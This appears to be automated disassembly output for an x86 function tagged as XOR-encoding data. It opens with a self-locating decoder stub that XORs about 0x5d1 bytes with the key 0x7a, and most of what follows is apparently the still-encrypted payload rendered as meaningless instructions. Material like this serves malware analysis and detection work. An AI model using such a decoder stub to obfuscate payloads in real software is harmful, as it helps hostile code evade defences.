Function at 0xf1fcfc
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf1fd06
pushal
call 0xf1fd0c
pop ebp
sub ebp, 0x10
sub ebp, 0xb1fcfc
jmp 0xf1fd22
mov eax, 0xb1fcfc
add eax, ebp
add eax, 0x4c
mov ecx, 0x5d1
dec esp
add byte [eax], al
add byte [ecx + 0x5d1], bh
mov edx, 0xa55fbf7a
xor byte [eax], dl
inc eax
dec ecx
jne 0xf1fd39
jmp 0xf1fd4c
int1
mov bh, 0xf1
inc esi
inc esi
jp 0xf1fdcd
jp 0xf1fd50
mov ebx, 0x7a7a7a82
jns 0xf1fd13
ret 0x7a7c
adc bh, byte [edx - 0x53]
pop ebx
jp 0xf1fd98
xchg byte [edi - 0x16], bl
ljmp 0xed12:0x5e567b7a
jp 0xf1fe06
push esi
pop esi
adc ch, ch
and dword [ebp + 0x7a7f9275], edi
jp 0xf1fe11
jp 0xf1fe10
jp 0xf1fd2b
xchg ebx, eax
dec esp
jp 0xf1fe15
jp 0xf1fd94
push ds
pop esi
xchg bl, dh
push esi
pop esi
not dword [esi]
pop esi
jp 0xf1fd99
push dword [edx + 0x7a]
jp 0xf1fe27
int1
out dx, eax
jbe 0xf1fe2b
jp 0xf1fe2d
int1
imul dword [edx + 0x7a]
jp 0xf1fe33
mov ebx, 0x784b7893
stc
mov eax, 0xff75337e
mov es, word [ebp + 0x56f18585]
pop esi
neg dword [esi]
pop esi
jle 0xf1fd88
jbe 0xf1fe4c
int1
neg byte [esi + 0x7e]
jp 0xf1fe52
jp 0xf1fdec
jp 0xf1fd89
pop ebx
jp 0xf1fdf1
xchg byte [edi - 0x16], bl
jp 0xf1fe5f
push esi
pop esi
sub edx, dword [edx + 0x7a7a7a7f]
jp 0xf1fe65
jp 0xf1fd80
xchg ebx, eax
inc ebp
js 0xf1fe6a
jp 0xf1fde9
neg dword [esi]
push ds
pop esi
xchg bl, dh
push esi
pop esi
daa
test dword [edi], ecx
jbe 0xf1fd83
invalid
jp 0xf1fdf7
invalid
dec ecx
test al, 0xf9
xchg edx, eax
jg 0xf1fe45
jne 0xf1fe13
xor al, 0x7a
jp 0xf1fe93
jne 0xf1fe0d
xor bh, byte [edx + 0x7a]
jp 0xf1fe3c
int1
inc bx
cli
adc dword [edx + 0x7a60fe75], 0x81fa7a7a
xchg ebx, eax
invalid
jp 0xf1fe27
adc dword [ebx + 0x7a6bfe75], 0xfb1c7a7a
jne 0xf1fe2f
imul edi, dword [edx + 0x7a], 0x7a
jp 0xf1feaf
sbb al, 0xfb
add dword [ebp + 0x6ffe755f], 0x3b7a7a7a
outsd dx, dword [esi]
jp 0xf1feb9
jp 0xf1fe7c
xchg ebx, eax
mov dh, 0x85
test dword [ebp + 0x7b433653], eax
stc
test dword [ebx + 0x36], edx
inc ebx
inc ebx
jnp 0xf1fe44
mov ebx, 0x7e92f97f
xchg ebx, eax
jg 0xf1fe47
xchg edx, eax
jle 0xf1fde4
mov dword [ebp + 0x2e538585], 0xbbf97843
jl 0xf1fe56
test dword [ebp + 0x432e5385], eax
test dword [ebp + 0x78432e53], eax
inc ebx
js 0xf1fe53
stc
mov ebx, 0x7e90f97c
nop
jle 0xf1fe59
stc
xchg edx, eax
jg 0xf1fdf6
rol dword [ebp + 0x56f18585], 1
pop esi
test dword [ebp - 0x8a1a90f], eax
push ds
neg dword [esi]
pop esi
jle 0xf1fe27
jbe 0xf1feeb
das
int1
xchg esi, eax
sub al, 0x2d
das
int1
pcmpeqd mm6, mm1
pop es
jb 0xf1fe04
enter 0xfffffffffffff0fa, 0x7c
sti
mov esp, 0x7a7a7a7b
jp 0xf1ff02
bnd jge 0xf1fe86
mov ebp, 0x7a7a7a7b
sar dword [eax + 0x7a], 0x7a
jp 0xf1ff0e
jp 0xf1ff0f
js 0xf1fe3f
test al, 0x75
jne 0xf1fe98
invalid
jg 0xf1ff15
jp 0xf1ff17
invalid
test al, 0x75
stc
mov byte [0x78858585], al
test al, 0x75
invalid
jp 0xf1fea1
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x75
stc
adc byte [edx + 0x7a], bh
jp 0xf1ff05
jp 0xf1ff35
dec ecx
mov edx, 0xff75a878
jg 0xf1ff3d
jp 0xf1ff3f
invalid
test al, 0x69
mov edx, 0xff75a878
jg 0xf1ff6e
jp 0xf1ff70
invalid
jp 0xf1ff7e
jp 0xf1fef6
invalid
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x69
push 0x75ba69a8
invalid
mov edx, 0x7a7cfe75
jl 0xf1ff8a
jp 0xf1ff8b
jp 0xf1ff8c
jp 0xf1ff04
int1
movsd dword es:[edi], dword [esi]
push ecx
mov byte [0x7df279f0], al
cmp eax, 0x7a7a78c1
jns 0xf1ff0b
jge 0xf1ff58
sar dword [eax + 0x7a], 0x7a
jp 0xf1ff99
jp 0xf1feb4
or al, byte [ebp + 0x7bc28585]
jp 0xf1ffa3
jp 0xf1ffa3
test al, 0x75
invalid
push 0x78ba69a8
test al, 0x75
invalid
jg 0xf1ffb9
jp 0xf1ffbb
invalid
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x3e46ae7b], eax
jnp 0xf1ffcb
jp 0xf1ffcd
jne 0xf1ff54
dec dword [esi + 0x7a]
jp 0xf1ffd3
dec esi
jp 0xf1ffd2
jp 0xf1ff1d
ret
jnp 0xf1ffd6
jp 0xf1ffd8
js 0xf1ff08
jne 0xf1ff61
invalid
jg 0xf1ffde
jp 0xf1ffe0
invalid
test al, 0x75
invalid
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x720ed37b], eax
push ecx
test dword [ebp + 0x518df12c], eax
lea edx, [ecx - 0x71]
mov esi, ebx
and al, 0x93
jb 0xf1ff10
invalid
test dword [ebp - 0x6544cd7b], eax
jb 0xf1ff82
test dword [ebp + 0x729abb32], eax
invalid
test dword [edx], esi
mov ebx, 0x7cf0729a
cmp al, 0xf1
jl 0xf1ffd0
int1
xchg edx, eax
ret
jp 0xf20015
js 0xf1ff45
jne 0xf1ff9e
invalid
jg 0xf2001b
jp 0xf2001d
invalid
jp 0xf1ffa3
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp + 0x7a82fb85], eax
pop es
test dword [ebp + 0x77a82fb], eax
jp 0xf2003d
sti
mov dword [0x85858585], eax
sti
cmp byte [edx + 0x7f], 0x7a
jp 0xf1ffcb
jp 0xf2004c
jp 0xf20049
sti
mov dword [0x85858585], eax
sti
test dword [ebp - 0x57d047b], eax
test dword [ebp + 0x7afa82fb], eax
cmp dl, 0x7a
cli
jp 0xf20054
jp 0xf20055
jp 0xf1ffd7
sti
stosd dword es:[edi], eax
jp 0xf20059
jp 0xf2005a
jp 0xf2005b
jp 0xf1ffdd
sti
cmp dl, 0x7a
jp 0xf20061
sti
stosd dword es:[edi], eax
jp 0xf20065
jp 0xf20067
sub al, 0xf1
lea edx, [ecx - 0x76]
mov esi, ebx
and al, 0x93
loope 0xf1ff7c
test dword [ebp + 0x493c7cf0], eax
mov bl, 0xba
xchg edx, eax
jnp 0xf20078
invalid
jp 0xf20000
xchg edx, eax
sub al, 0xf1
lea edx, [ecx - 0x76]
mov esi, ebx
and al, 0xc1
jnp 0xf20095
sar dword [ebx + 0x7a], 0x7a
jp 0xf20096
jp 0xf20097
jp 0xf1ffb1
xchg ebx, eax
or dword [ebp + eax*4 + 0x7512785], eax
daa
push ecx
pop es
jb 0xf20018
mov ebp, 0x9ff12425
and al, 0xf1
lahf
daa
mov eax, 0x46f17a72
pop esi
neg dword [esi]
pop esi
jle 0xf20029
dec esi
pop esi
neg dword [esi]
pop esi
jle 0xf1ffd2
jle 0xf200bb
jp 0xf200bd
movzx ebx, byte [edi]
mov dword [0xcb8686c2], eax
xchg bl, cl
jp 0xf200c6
jns 0xf2000d
mov edi, 0x790bbafb
jp 0xf200ce
sti
mov edx, 0x7a7a790b
ret
salc
js 0xf200d2
jp 0xf2001a
sal cl, 0x91
int1
xchg ecx, eax
add esi, edi
dec edx
push 0x3a
xor esi, dword [ebp - 1]
mov word [ebp + 0x7e938585], es
jp 0xf200e6
test dword [ebp + 0x7a7e9385], eax
jp 0xf200e7
test dword [ebx + 0x7a7a7a7e], edx
jp 0xf2002d
mov edi, 0x7621e827
invalid
daa
call 0x7b017695
invalid
invalid
or esi, dword [esi + 8]
jbe 0xf200a0
or byte [edx - 0x78], bh
jp 0xf20022
cmc
jbe 0xf200a5
jo 0xf200aa
int1
int1
int1
int1
invalid
mov bh, 0xf1
int1
int1
daa
daa
jo 0xf200e3
stc
int1
int1
int1
jo 0xf200cb
stc
int1
int1
int1
jo 0xf200c1
int1
int1
int1
int1
invalid
push cs
push cs
xchg edi, eax
jp 0xf200bc
xor byte [ecx], bl
std
jb 0xf200dc
invalid
int1
int1
int1
invalid
adc dword [esi], ecx
invalid
invalid
mov eax, 0x18f33672
cmp dword [esi], ecx
jb 0xf2011f
sbb byte [ecx], bh
push cs
push cs
push cs
sbb ch, dh
int1
int1
int1
xchg ebx, eax
sub eax, 0xd49a641
or eax, 0x34f2f140
jo 0xf20132
sal ebp, cl
int1
int1
dec eax
or dh, al
int1
int1
dec ebx
inc ecx
jo 0xf2014b
fadd st(1)
loope 0xf200c3
mov eax, 0xe0774fe
push cs
push cs
sbb ch, dh
int1
int1
int1
scasb al, byte es:[edi]
sbb byte [esi - 0x5e], ch
retf 0x7d3f
dec esi
invalid
inc ecx
sar byte [ecx + 0x41414141], 0x4e
les ecx, [ebp + 0x41]
inc ecx
inc ecx
retf 0x4d06